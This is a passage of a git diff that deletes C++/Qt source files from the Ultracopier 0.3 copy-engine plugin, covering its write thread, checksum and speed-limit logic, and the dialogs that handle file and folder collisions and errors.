-void WriteThread::timeOfTheBlockCopyFinished()
-{
- if(waitNewClockForSpeed.available()<ULTRACOPIER_PLUGIN_NUMSEMSPEEDMANAGEMENT)
- waitNewClockForSpeed.release();
- //why not just use waitNewClockForSpeed.release() ?
-}
-
-void WriteThread::flushAndSeekToZero()
-{
- stopIt=true;
- emit internalStartFlushAndSeekToZero();
-}
-
-
-void WriteThread::checkSum()
-{
- //QByteArray blockArray;
- QCryptographicHash hash(QCryptographicHash::Sha1);
- endDetected=false;
- lastGoodPosition=0;
- file.seek(0);
- int sizeReaden=0;
- do
- {
- //read one block
- #ifdef ULTRACOPIER_PLUGIN_DEBUG
- stat=Read;
- #endif
- blockArray=file.read(blockSize);
- #ifdef ULTRACOPIER_PLUGIN_DEBUG
- stat=Idle;
- #endif
-
- if(file.error()!=QFile::NoError)
- {
- errorString_internal=tr("Unable to read the source file: ")+file.errorString()+" ("+QString::number(file.error())+")";
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"["+QString::number(id)+"] "+QString("file.error()!=QFile::NoError: %1, error: %2").arg(QString::number(file.error())).arg(errorString_internal));
- emit error();
- return;
- }
- sizeReaden=blockArray.size();
- if(sizeReaden>0)
- {
- #ifdef ULTRACOPIER_PLUGIN_DEBUG
- stat=Checksum;
- #endif
- hash.addData(blockArray);
- #ifdef ULTRACOPIER_PLUGIN_DEBUG
- stat=Idle;
- #endif
-
- if(stopIt)
- break;
-
- lastGoodPosition+=blockArray.size();
-
- //wait for limitation speed if stop not query
- if(maxSpeed>0)
- {
- numberOfBlockCopied++;
- if(numberOfBlockCopied>=MultiForBigSpeed)
- {
- numberOfBlockCopied=0;
- waitNewClockForSpeed.acquire();
- if(stopIt)
- break;
- }
- }
- }
- }
- while(sizeReaden>0 && !stopIt);
- if(lastGoodPosition>file.size())
- {
- errorString_internal=tr("File truncated during the read, possible data change");
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"["+QString::number(id)+"] "+QString("Source truncated during the read: %1 (%2)").arg(file.errorString()).arg(QString::number(file.error())));
- emit error();
- return;
- }
- if(stopIt)
- {
-/* if(putInPause)
- emit isInPause();*/
- stopIt=false;
- return;
- }
- emit checksumFinish(hash.result());
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] stop the read");
-}
-
-void WriteThread::internalFlushAndSeekToZero()
-{
- flushBuffer();
- file.seek(0);
- stopIt=false;
- emit flushedAndSeekedToZero();
-}
-
-void WriteThread::setMkpathTransfer(QSemaphore *mkpathTransfer)
-{
- this->mkpathTransfer=mkpathTransfer;
-}
diff --git a/plugins/CopyEngine/Ultracopier-0.3/WriteThread.h b/plugins/CopyEngine/Ultracopier-0.3/WriteThread.h
deleted file mode 100644
index 3683c27..0000000
--- a/plugins/CopyEngine/Ultracopier-0.3/WriteThread.h
+++ /dev/null
@@ -1,138 +0,0 @@
-/** \file WriteThread.h
-\brief Thread changed to open/close and write the destination file
-\author alpha_one_x86
-\version 0.3
-\date 2011 */
-
-#ifndef WRITETHREAD_H
-#define WRITETHREAD_H
-
-#include <QThread>
-#include <QByteArray>
-#include <QString>
-#include <QMutex>
-#include <QSemaphore>
-#include <QCryptographicHash>
-
-#include "Environment.h"
-#include "StructEnumDefinition_CopyEngine.h"
-#include "AvancedQFile.h"
-
-/// \brief Thread changed to open/close and write the destination file
-class WriteThread : public QThread
-{
- Q_OBJECT
-public:
- explicit WriteThread();
- ~WriteThread();
- /// \brief to have semaphore to do mkpath one by one
- void setMkpathTransfer(QSemaphore *mkpathTransfer);
-protected:
- void run();
-public:
- /// \brief open the destination to open it
- void open(const QString &name,const quint64 &startSize,const bool &buffer);
- /// \brief to return the error string
- QString errorString();
- /// \brief to stop all
- void stop();
- /// \brief to write data
- bool write(const QByteArray &data);
- #ifdef ULTRACOPIER_PLUGIN_DEBUG
- /// \brief to set the id
- void setId(int id);
- /// \brief get the write stat
- enum WriteStat
- {
- Idle=0,
- InodeOperation=1,
- Write=2,
- Close=3,
- Read=5,
- Checksum=6
- };
- WriteStat stat;
- #endif
- /// \brief do the fake open
- void fakeOpen();
- /// \brief do the fake writeIsStarted
- void fakeWriteIsStarted();
- /// \brief do the fake writeIsStopped
- void fakeWriteIsStopped();
- /// do the checksum
- void startCheckSum();
- /// \brief set the current max speed in KB/s
- int setMaxSpeed(int maxSpeed);
- /// \brief For give timer every X ms
- void timeOfTheBlockCopyFinished();
- /// \brief set block size in KB
- bool setBlockSize(const int blockSize);
-public slots:
- /// \brief start the operation
- void postOperation();
- /// \brief flush buffer
- void flushBuffer();
- /// \brief set the end is detected
- void endIsDetected();
- /// \brief reopen the file
- void reopen();
- /// \brief flush and seek to zero
- void flushAndSeekToZero();
- /// do the checksum
- void checkSum();
-signals:
- void error();
- void opened();
- void reopened();
- void writeIsStarted();
- void writeIsStopped();
- void flushedAndSeekedToZero();
- void closed();
- void checksumFinish(const QByteArray&);
- //internal signals
- void internalStartOpen();
- void internalStartChecksum();
- void internalStartReopen();
- void internalStartWrite();
- void internalStartClose();
- void internalStartEndOfFile();
- void internalStartFlushAndSeekToZero();
- /// \brief To debug source
- void debugInformation(const DebugLevel &level,const QString &fonction,const QString &text,const QString &file,const int &ligne);
-private:
- QString name;
- QString errorString_internal;
- AvancedQFile file;
- volatile bool stopIt;
- volatile int blockSize;
- volatile int maxSpeed; ///< The max speed in KB/s, 0 for no limit
- QMutex accessList; ///< For use the list
- QSemaphore waitNewClockForSpeed;
- volatile int numberOfBlockCopied; ///< Multiple for count the number of block copied
- volatile int multiplicatorForBigSpeed; ///< Multiple for count the number of block needed
- volatile int MultiForBigSpeed;
- QSemaphore freeBlock;
- QSemaphore isOpen;
- volatile bool putInPause;
- QList<QByteArray> theBlockList; ///< Store the block list
- quint64 CurentCopiedSize;
- QByteArray blockArray; ///< temp data for block writing, the data
- qint64 bytesWriten; ///< temp data for block writing, the bytes writen
- qint64 lastGoodPosition;
- int id;
- bool endDetected;
- quint64 startSize;
- QSemaphore *mkpathTransfer;
- bool fakeMode;
- bool buffer;
- bool needRemoveTheFile;
-private slots:
- bool internalOpen();
- void internalWrite();
- void internalClose(bool emitSignal=true);
- void internalReopen();
- void internalEndOfFile();
- void internalFlushAndSeekToZero();
-};
-
-#endif // WRITETHREAD_H
diff --git a/plugins/CopyEngine/Ultracopier-0.3/copyEngine-collision-and-error.cpp b/plugins/CopyEngine/Ultracopier-0.3/copyEngine-collision-and-error.cpp
deleted file mode 100644
index 7ec07c2..0000000
--- a/plugins/CopyEngine/Ultracopier-0.3/copyEngine-collision-and-error.cpp
+++ /dev/null
@@ -1,565 +0,0 @@
-/** \file copyEngine.cpp
-\brief Define the copy engine
-\author alpha_one_x86
-\version 0.3
-\date 2010 */
-
-#include <QtCore>
-#include <QFileDialog>
-#include <QMessageBox>
-
-#include "copyEngine.h"
-#include "folderExistsDialog.h"
-
-/// \note Can be call without queue because all call will be serialized
-void copyEngine::fileAlreadyExists(QFileInfo source,QFileInfo destination,bool isSame,TransferThread * thread,bool isCalledByShowOneNewDialog)
-{
- if(stopIt)
- return;
- if(thread==NULL)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"unable to locate the thread");
- return;
- }
- //load the action
- if(isSame)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"file is same: "+source.absoluteFilePath());
- tempFileExistsAction=alwaysDoThisActionForFileExists;
- if(tempFileExistsAction==FileExists_Overwrite || tempFileExistsAction==FileExists_OverwriteIfNewer || tempFileExistsAction==FileExists_OverwriteIfNotSameModificationDate)
- tempFileExistsAction=FileExists_NotSet;
- switch(tempFileExistsAction)
- {
- case FileExists_Skip:
- case FileExists_Rename:
- thread->setFileExistsAction(tempFileExistsAction);
- break;
- default:
- if(dialogIsOpen)
- {
- alreadyExistsQueueItem newItem;
- newItem.source=source;
- newItem.destination=destination;
- newItem.isSame=isSame;
- newItem.transfer=thread;
- newItem.scan=NULL;
- alreadyExistsQueue << newItem;
- return;
- }
- dialogIsOpen=true;
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"show dialog");
- fileIsSameDialog dialog(interface,source,firstRenamingRule,otherRenamingRule);
- emit isInPause(true);
- dialog.exec();/// \bug crash when external close
- FileExistsAction newAction=dialog.getAction();
- emit isInPause(false);
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"close dialog: "+QString::number(newAction));
- if(newAction==FileExists_Cancel)
- {
- emit cancelAll();
- return;
- }
- if(dialog.getAlways() && newAction!=alwaysDoThisActionForFileExists)
- {
- alwaysDoThisActionForFileExists=newAction;
- listThread->setAlwaysFileExistsAction(alwaysDoThisActionForFileExists);
- switch(newAction)
- {
- default:
- case FileExists_Skip:
- emit newCollisionAction("skip");
- break;
- case FileExists_Rename:
- emit newCollisionAction("rename");
- break;
- }
- }
- if(dialog.getAlways() || newAction!=FileExists_Rename)
- thread->setFileExistsAction(newAction);
- else
- thread->setFileRename(dialog.getNewName());
- dialogIsOpen=false;
- if(!isCalledByShowOneNewDialog)
- emit queryOneNewDialog();
- return;
- break;
- }
- }
- else
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"file already exists: "+source.absoluteFilePath()+", destination: "+destination.absoluteFilePath());
- tempFileExistsAction=alwaysDoThisActionForFileExists;
- switch(tempFileExistsAction)
- {
- case FileExists_Skip:
- case FileExists_Rename:
- case FileExists_Overwrite:
- case FileExists_OverwriteIfNewer:
- case FileExists_OverwriteIfNotSameModificationDate:
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"always do this action: "+QString::number(tempFileExistsAction));
- thread->setFileExistsAction(tempFileExistsAction);
- break;
- default:
- if(dialogIsOpen)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("dialog open, put in queue: %1 %2")
- .arg(source.absoluteFilePath())
- .arg(destination.absoluteFilePath())
- );
- alreadyExistsQueueItem newItem;
- newItem.source=source;
- newItem.destination=destination;
- newItem.isSame=isSame;
- newItem.transfer=thread;
- newItem.scan=NULL;
- alreadyExistsQueue << newItem;
- return;
- }
- dialogIsOpen=true;
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"show dialog");
- fileExistsDialog dialog(interface,source,destination,firstRenamingRule,otherRenamingRule);
- emit isInPause(true);
- dialog.exec();/// \bug crash when external close
- FileExistsAction newAction=dialog.getAction();
- emit isInPause(false);
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"close dialog: "+QString::number(newAction));
- if(newAction==FileExists_Cancel)
- {
- emit cancelAll();
- return;
- }
- if(dialog.getAlways() && newAction!=alwaysDoThisActionForFileExists)
- {
- alwaysDoThisActionForFileExists=newAction;
- listThread->setAlwaysFileExistsAction(alwaysDoThisActionForFileExists);
- switch(newAction)
- {
- default:
- case FileExists_Skip:
- emit newCollisionAction("skip");
- break;
- case FileExists_Rename:
- emit newCollisionAction("rename");
- break;
- case FileExists_Overwrite:
- emit newCollisionAction("overwrite");
- break;
- case FileExists_OverwriteIfNewer:
- emit newCollisionAction("overwriteIfNewer");
- break;
- case FileExists_OverwriteIfNotSameModificationDate:
- emit newCollisionAction("overwriteIfNotSameModificationDate");
- break;
- }
- }
- if(dialog.getAlways() || newAction!=FileExists_Rename)
- thread->setFileExistsAction(newAction);
- else
- thread->setFileRename(dialog.getNewName());
- dialogIsOpen=false;
- if(!isCalledByShowOneNewDialog)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"emit queryOneNewDialog()");
- emit queryOneNewDialog();
- }
- return;
- break;
- }
- }
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"stop");
-}
-
-/// \note Can be call without queue because all call will be serialized
-void copyEngine::errorOnFile(QFileInfo fileInfo,QString errorString,TransferThread * thread,bool isCalledByShowOneNewDialog)
-{
- if(stopIt)
- return;
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"file have error: "+fileInfo.absoluteFilePath()+", error: "+errorString);
- if(thread==NULL)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"unable to locate the thread");
- return;
- }
- //load the action
- tempFileErrorAction=alwaysDoThisActionForFileError;
- switch(tempFileErrorAction)
- {
- case FileError_Skip:
- thread->skip();
- return;
- case FileError_Retry:
- thread->retryAfterError();
- return;
- case FileError_PutToEndOfTheList:
- /// \todo do the read transfer locator and put at the end
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"todo list item not found");
- return;
- default:
- if(dialogIsOpen)
- {
- errorQueueItem newItem;
- newItem.errorString=errorString;
- newItem.inode=fileInfo;
- newItem.mkPath=false;
- newItem.rmPath=false;
- newItem.scan=NULL;
- newItem.transfer=thread;
- errorQueue << newItem;
- return;
- }
- dialogIsOpen=true;
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"show dialog");
- emit error(fileInfo.absoluteFilePath(),fileInfo.size(),fileInfo.lastModified(),errorString);
- fileErrorDialog dialog(interface,fileInfo,errorString);
- emit isInPause(true);
- dialog.exec();/// \bug crash when external close
- FileErrorAction newAction=dialog.getAction();
- emit isInPause(false);
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"close dialog: "+QString::number(newAction));
- if(newAction==FileError_Cancel)
- {
- emit cancelAll();
- return;
- }
- if(dialog.getAlways() && newAction!=alwaysDoThisActionForFileError)
- {
- alwaysDoThisActionForFileError=newAction;
- switch(newAction)
- {
- default:
- case FileError_Skip:
- emit newErrorAction("skip");
- break;
- case FileError_PutToEndOfTheList:
- emit newErrorAction("putToEndOfTheList");
- break;
- }
- }
- switch(newAction)
- {
- case FileError_Skip:
- thread->skip();
- break;
- case FileError_Retry:
- thread->retryAfterError();
- break;
- case FileError_PutToEndOfTheList:
- thread->putAtBottom();
- /// \todo do the read transfer locator and put at the end
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"todo");
- break;
- default:
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"file error action wrong");
- break;
- }
- dialogIsOpen=false;
- if(!isCalledByShowOneNewDialog)
- emit queryOneNewDialog();
- else
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"isCalledByShowOneNewDialog==true then not show other dial");
- return;
- break;
- }
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"stop");
-}
-
-/// \note Can be call without queue because all call will be serialized
-void copyEngine::folderAlreadyExists(QFileInfo source,QFileInfo destination,bool isSame,scanFileOrFolder * thread,bool isCalledByShowOneNewDialog)
-{
- if(stopIt)
- return;
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"folder already exists: "+source.absoluteFilePath()+", destination: "+destination.absoluteFilePath());
- if(thread==NULL)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"unable to locate the thread");
- return;
- }
- //load the always action
- tempFolderExistsAction=alwaysDoThisActionForFolderExists;
- switch(tempFolderExistsAction)
- {
- case FolderExists_Skip:
- case FolderExists_Rename:
- case FolderExists_Merge:
- thread->setFolderExistsAction(tempFolderExistsAction);
- break;
- default:
- if(dialogIsOpen)
- {
- alreadyExistsQueueItem newItem;
- newItem.source=source;
- newItem.destination=destination;
- newItem.isSame=isSame;
- newItem.transfer=NULL;
- newItem.scan=thread;
- alreadyExistsQueue << newItem;
- return;
- }
- dialogIsOpen=true;
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"show dialog");
- folderExistsDialog dialog(interface,source,isSame,destination,firstRenamingRule,otherRenamingRule);
- dialog.exec();/// \bug crash when external close
- FolderExistsAction newAction=dialog.getAction();
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"close dialog: "+QString::number(newAction));
- if(newAction==FolderExists_Cancel)
- {
- emit cancelAll();
- return;
- }
- if(dialog.getAlways() && newAction!=alwaysDoThisActionForFolderExists)
- setComboBoxFolderColision(newAction);
- if(!dialog.getAlways() && newAction==FolderExists_Rename)
- thread->setFolderExistsAction(newAction,dialog.getNewName());
- else
- thread->setFolderExistsAction(newAction);
- dialogIsOpen=false;
- if(!isCalledByShowOneNewDialog)
- emit queryOneNewDialog();
- return;
- break;
- }
-}
-
-/// \note Can be call without queue because all call will be serialized
-/// \todo all this part
-void copyEngine::errorOnFolder(QFileInfo fileInfo,QString errorString,scanFileOrFolder * thread,bool isCalledByShowOneNewDialog)
-{
- if(stopIt)
- return;
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"file have error: "+fileInfo.absoluteFilePath()+", error: "+errorString);
- if(thread==NULL)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"unable to locate the thread");
- return;
- }
- //load the always action
- tempFileErrorAction=alwaysDoThisActionForFolderError;
- switch(tempFileErrorAction)
- {
- case FileError_Skip:
- case FileError_Retry:
- case FileError_PutToEndOfTheList:
- thread->setFolderErrorAction(tempFileErrorAction);
- break;
- default:
- if(dialogIsOpen)
- {
- errorQueueItem newItem;
- newItem.errorString=errorString;
- newItem.inode=fileInfo;
- newItem.mkPath=false;
- newItem.rmPath=false;
- newItem.scan=thread;
- newItem.transfer=NULL;
- errorQueue << newItem;
- return;
- }
- dialogIsOpen=true;
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"show dialog");
- emit error(fileInfo.absoluteFilePath(),fileInfo.size(),fileInfo.lastModified(),errorString);
- fileErrorDialog dialog(interface,fileInfo,errorString);
- dialog.exec();/// \bug crash when external close
- FileErrorAction newAction=dialog.getAction();
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"close dialog: "+QString::number(newAction));
- if(newAction==FileError_Cancel)
- {
- emit cancelAll();
- return;
- }
- if(dialog.getAlways() && newAction!=alwaysDoThisActionForFileError)
- setComboBoxFolderError(newAction);
- dialogIsOpen=false;
- thread->setFolderErrorAction(newAction);
- if(!isCalledByShowOneNewDialog)
- emit queryOneNewDialog();
- return;
- break;
- }
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"stop");
-}
-
-// -----------------------------------------------------
-
-//mkpath event
-void copyEngine::mkPathErrorOnFolder(QFileInfo folder,QString errorString,bool isCalledByShowOneNewDialog)
-{
- if(stopIt)
- return;
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"file have error: "+folder.absoluteFilePath()+", error: "+errorString);
- //load the always action
- tempFileErrorAction=alwaysDoThisActionForFolderError;
- error_index=0;
- switch(tempFileErrorAction)
- {
- case FileError_Skip:
- listThread->mkPathQueue.skip();
- return;
- case FileError_Retry:
- listThread->mkPathQueue.retry();
- return;
- default:
- if(dialogIsOpen)
- {
- errorQueueItem newItem;
- newItem.errorString=errorString;
- newItem.inode=folder;
- newItem.mkPath=true;
- newItem.rmPath=false;
- newItem.scan=NULL;
- newItem.transfer=NULL;
- errorQueue << newItem;
- return;
- }
- dialogIsOpen=true;
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"show dialog");
- emit error(folder.absoluteFilePath(),folder.size(),folder.lastModified(),errorString);
- fileErrorDialog dialog(interface,folder,errorString,false);
- dialog.exec();/// \bug crash when external close
- FileErrorAction newAction=dialog.getAction();
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"close dialog: "+QString::number(newAction));
- if(newAction==FileError_Cancel)
- {
- emit cancelAll();
- return;
- }
- if(dialog.getAlways() && newAction!=alwaysDoThisActionForFileError)
- {
- setComboBoxFolderError(newAction);
- alwaysDoThisActionForFolderError=newAction;
- }
- dialogIsOpen=false;
- switch(newAction)
- {
- case FileError_Skip:
- listThread->mkPathQueue.skip();
- break;
- case FileError_Retry:
- listThread->mkPathQueue.retry();
- break;
- default:
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"Unknow switch case: "+QString::number(newAction));
- break;
- }
- if(!isCalledByShowOneNewDialog)
- emit queryOneNewDialog();
- return;
- break;
- }
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"stop");
-}
-
-//rmpath event
-void copyEngine::rmPathErrorOnFolder(QFileInfo folder,QString errorString,bool isCalledByShowOneNewDialog)
-{
- if(stopIt)
- return;
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"file have error: "+folder.absoluteFilePath()+", error: "+errorString);
- //load the always action
- tempFileErrorAction=alwaysDoThisActionForFolderError;
- error_index=0;
- switch(tempFileErrorAction)
- {
- case FileError_Skip:
- listThread->rmPathQueue.skip();
- return;
- case FileError_Retry:
- listThread->rmPathQueue.retry();
- return;
- default:
- if(dialogIsOpen)
- {
- errorQueueItem newItem;
- newItem.errorString=errorString;
- newItem.inode=folder;
- newItem.mkPath=false;
- newItem.rmPath=true;
- newItem.scan=NULL;
- newItem.transfer=NULL;
- errorQueue << newItem;
- return;
- }
- dialogIsOpen=true;
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"show dialog");
- emit error(folder.absoluteFilePath(),folder.size(),folder.lastModified(),errorString);
- fileErrorDialog dialog(interface,folder,errorString,false);
- dialog.exec();/// \bug crash when external close
- FileErrorAction newAction=dialog.getAction();
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"close dialog: "+QString::number(newAction));
- if(newAction==FileError_Cancel)
- {
- emit cancelAll();
- return;
- }
- if(dialog.getAlways() && newAction!=alwaysDoThisActionForFileError)
- {
- setComboBoxFolderError(newAction);
- alwaysDoThisActionForFolderError=newAction;
- }
- dialogIsOpen=false;
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"do the action");
- switch(newAction)
- {
- case FileError_Skip:
- listThread->rmPathQueue.skip();
- break;
- case FileError_Retry:
- listThread->rmPathQueue.retry();
- break;
- default:
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"Unknow switch case: "+QString::number(newAction));
- break;
- }
- if(!isCalledByShowOneNewDialog)
- emit queryOneNewDialog();
- return;
- break;
- }
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"stop");
-}
-
-//show one new dialog if needed
-void copyEngine::showOneNewDialog()
-{
- if(stopIt)
- return;
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"alreadyExistsQueue.size(): "+QString::number(alreadyExistsQueue.size()));
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"errorQueue.size(): "+QString::number(errorQueue.size()));
- loop_size=alreadyExistsQueue.size();
- while(loop_size>0)
- {
- if(alreadyExistsQueue.first().transfer!=NULL)
- {
- fileAlreadyExists(alreadyExistsQueue.first().source,
- alreadyExistsQueue.first().destination,
- alreadyExistsQueue.first().isSame,
- alreadyExistsQueue.first().transfer,
- true);
- }
- else if(alreadyExistsQueue.first().scan!=NULL)
- folderAlreadyExists(alreadyExistsQueue.first().source,
- alreadyExistsQueue.first().destination,
- alreadyExistsQueue.first().isSame,
- alreadyExistsQueue.first().scan,
- true);
- else
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"bug, no thread actived");
- alreadyExistsQueue.removeFirst();
- loop_size--;
- }
- loop_size=errorQueue.size();
- while(errorQueue.size()>0)
- {
- if(errorQueue.first().transfer!=NULL)
- errorOnFile(errorQueue.first().inode,errorQueue.first().errorString,errorQueue.first().transfer,true);
- else if(errorQueue.first().scan!=NULL)
- errorOnFolder(errorQueue.first().inode,errorQueue.first().errorString,errorQueue.first().scan,true);
- else if(errorQueue.first().mkPath)
- mkPathErrorOnFolder(errorQueue.first().inode,errorQueue.first().errorString,true);
- else if(errorQueue.first().rmPath)
- rmPathErrorOnFolder(errorQueue.first().inode,errorQueue.first().errorString,true);
- else
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"bug, no thread actived");
- errorQueue.removeFirst();
- loop_size--;
- }
-}
diff --git a/plugins/CopyEngine/Ultracopier-0.3/copyEngine.cpp b/plugins/CopyEngine/Ultracopier-0.3/copyEngine.cpp
deleted file mode 100755
index 950cfd3..0000000
--- a/plugins/CopyEngine/Ultracopier-0.3/copyEngine.cpp
+++ /dev/null
@@ -1,796 +0,0 @@
-/** \file copyEngine.cpp
-\brief Define the copy engine
-\author alpha_one_x86
-\version 0.3
-\date 2010 */
-
-#include <QtCore>
-#include <QFileDialog>
-#include <QMessageBox>
-
-#include "copyEngine.h"
-#include "folderExistsDialog.h"
-#include "../../../interface/PluginInterface_CopyEngine.h"
-
-copyEngine::copyEngine(FacilityInterface * facilityEngine) :
- ui(new Ui::options())
-{
- listThread=new ListThread(facilityEngine);
- this->facilityEngine=facilityEngine;
- filters=NULL;
- renamingRules=NULL;
- qRegisterMetaType<TransferThread *>("TransferThread *");
- qRegisterMetaType<scanFileOrFolder *>("scanFileOrFolder *");
- qRegisterMetaType<EngineActionInProgress>("EngineActionInProgress");
- qRegisterMetaType<DebugLevel>("DebugLevel");
- qRegisterMetaType<FileExistsAction>("FileExistsAction");
- qRegisterMetaType<FolderExistsAction>("FolderExistsAction");
- qRegisterMetaType<QList<Filters_rules> >("QList<Filters_rules>");
- qRegisterMetaType<QList<int> >("QList<int>");
- qRegisterMetaType<CopyMode>("CopyMode");
- qRegisterMetaType<QList<returnActionOnCopyList> >("QList<returnActionOnCopyList>");
- qRegisterMetaType<QList<ProgressionItem> >("QList<ProgressionItem>");
-
- interface = NULL;
- tempWidget = NULL;
- uiIsInstalled = false;
- dialogIsOpen = false;
- maxSpeed = 0;
- alwaysDoThisActionForFileExists = FileExists_NotSet;
- alwaysDoThisActionForFileError = FileError_NotSet;
- checkDestinationFolderExists = false;
- stopIt = false;
- size_for_speed = 0;
- forcedMode = false;
-
- //implement the SingleShot in this class
- //timerActionDone.setSingleShot(true);
- timerActionDone.setInterval(ULTRACOPIER_PLUGIN_TIME_UPDATE_TRASNFER_LIST);
- //timerProgression.setSingleShot(true);
- timerProgression.setInterval(ULTRACOPIER_PLUGIN_TIME_UPDATE_PROGRESSION);
-
-}
-
-copyEngine::~copyEngine()
-{
- /*if(filters!=NULL)
- delete filters;
- if(renamingRules!=NULL)
- delete renamingRules;
- destroyed by the widget parent, here the interface
- */
- stopIt=true;
- delete listThread;
- delete ui;
-}
-
-void copyEngine::connectTheSignalsSlots()
-{
- #ifdef ULTRACOPIER_PLUGIN_DEBUG_WINDOW
- debugDialogWindow.show();
- #endif
- if(!connect(listThread,SIGNAL(actionInProgess(EngineActionInProgress)), this,SIGNAL(actionInProgess(EngineActionInProgress)), Qt::QueuedConnection))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"unable to connect actionInProgess()");
- if(!connect(listThread,SIGNAL(actionInProgess(EngineActionInProgress)), this,SLOT(newActionInProgess(EngineActionInProgress)), Qt::QueuedConnection))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"unable to connect actionInProgess() to slot");
- if(!connect(listThread,SIGNAL(newFolderListing(QString)), this,SIGNAL(newFolderListing(QString)), Qt::QueuedConnection))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"unable to connect newFolderListing()");
- if(!connect(listThread,SIGNAL(newCollisionAction(QString)), this,SIGNAL(newCollisionAction(QString)), Qt::QueuedConnection))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"unable to connect newCollisionAction()");
- if(!connect(listThread,SIGNAL(newErrorAction(QString)), this,SIGNAL(newErrorAction(QString)), Qt::QueuedConnection))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"unable to connect newErrorAction()");
- if(!connect(listThread,SIGNAL(isInPause(bool)), this,SIGNAL(isInPause(bool)), Qt::QueuedConnection))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"unable to connect isInPause()");
- if(!connect(listThread,SIGNAL(error(QString,quint64,QDateTime,QString)), this,SIGNAL(error(QString,quint64,QDateTime,QString)), Qt::QueuedConnection))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"unable to connect error()");
- if(!connect(listThread,SIGNAL(rmPath(QString)), this,SIGNAL(rmPath(QString)), Qt::QueuedConnection))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"unable to connect rmPath()");
- if(!connect(listThread,SIGNAL(mkPath(QString)), this,SIGNAL(mkPath(QString)), Qt::QueuedConnection))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"unable to connect mkPath()");
- if(!connect(listThread,SIGNAL(newActionOnList(QList<returnActionOnCopyList>)), this,SIGNAL(newActionOnList(QList<returnActionOnCopyList>)), Qt::QueuedConnection))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"unable to connect newActionOnList()");
- if(!connect(listThread,SIGNAL(pushFileProgression(QList<ProgressionItem>)), this,SIGNAL(pushFileProgression(QList<ProgressionItem>)), Qt::QueuedConnection))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"unable to connect pushFileProgression()");
- if(!connect(listThread,SIGNAL(pushGeneralProgression(quint64,quint64)), this,SIGNAL(pushGeneralProgression(quint64,quint64)), Qt::QueuedConnection))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"unable to connect pushGeneralProgression()");
- if(!connect(listThread,SIGNAL(syncReady()), this,SIGNAL(syncReady()), Qt::QueuedConnection))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"unable to connect syncReady()");
- if(!connect(listThread,SIGNAL(canBeDeleted()), this,SIGNAL(canBeDeleted()), Qt::QueuedConnection))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"unable to connect canBeDeleted()");
- #ifdef ULTRACOPIER_PLUGIN_DEBUG_WINDOW
